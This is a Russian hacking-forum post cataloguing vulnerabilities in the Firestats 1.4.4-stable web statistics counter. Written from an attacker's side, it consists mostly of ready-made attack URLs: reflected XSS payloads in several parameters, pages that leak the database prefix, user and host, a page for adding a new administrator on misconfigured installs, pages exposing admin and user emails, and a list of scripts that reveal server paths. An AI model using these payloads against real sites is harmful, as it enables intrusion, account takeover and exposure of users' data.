Форум АНТИЧАТ - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

Статистика/счётчик Firestats 1.4.4-stable:

XSS:

Код:

http://site/stats/php/window-delete-site.php?site_id=')"><script>alert(/XSS/)</script>
http://site/stats/php/window-new-edit-site.php?site_id="><script>alert(/XSS/)</script>
http://site/stats/lib/ip2c/test-ip.php?ip=<script>alert(/XSS/)</script>

Возможность узнать префикс БД, имя пользователя БД и хост:

Код:

http://site/stats/php/page-database.php
http://site/stats/tools.php?file_id=system_test (только префикс)

Если админ криворукий, можно добавить новго админа тут:

Код:

http://site/stats/tools.php?file_id=manage_users

Узнать мыло админа и юзеров (не баг, но поидее этого не должно быть):

Код:

http://site/stats/php/page-users.php
http://site/stats/php/window-edit-user.php?user_id=1

Раскрытие пути:

Код:

stats/integration/mediawiki/firestats-mediawiki.php
stats/php/tabbed-pane.php
stats/php/tools-menu.php
stats/firestats-wordpress.php
stats/php/ip2country.php
stats/php/footer.php
status.php
stats/php/page-stats.php
stats/login.php
stats/php/page-add-admin.php
stats/firestats-gregarius.php
stats/lib/ip2c/benchmark.php
stats/lib/ezsql/mysql/ez_sql_mysql.php

З.Ы.
Папка со статистикой может называться и не stats. Багов больше, толком не рылся, это то, что сразу на глаза попалось.